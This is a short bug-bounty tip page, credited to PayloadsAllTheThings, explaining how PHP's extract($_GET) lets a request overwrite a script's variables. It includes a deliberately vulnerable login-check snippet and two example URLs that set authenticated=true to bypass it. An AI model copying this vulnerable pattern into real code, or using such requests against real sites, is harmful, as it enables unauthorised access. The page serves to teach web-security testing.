External Variable Modification: Overwriting Critical Variables

OtherExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

If extract() is used in a script that relies on specific variables, an attacker can manipulate them.

php
<?php
    $authenticated = false;
    extract($_GET);
    if ($authenticated) {
        echo "Access granted!";
    } else {
        echo "Access denied!";
    }
?>

Exploitation:

In this example, the use of extract($_GET) allow an attacker to set the $authenticated variable to true:

ps1
http://example.com/vuln.php?authenticated=true
http://example.com/vuln.php?authenticated=1

Comments

No comments yet.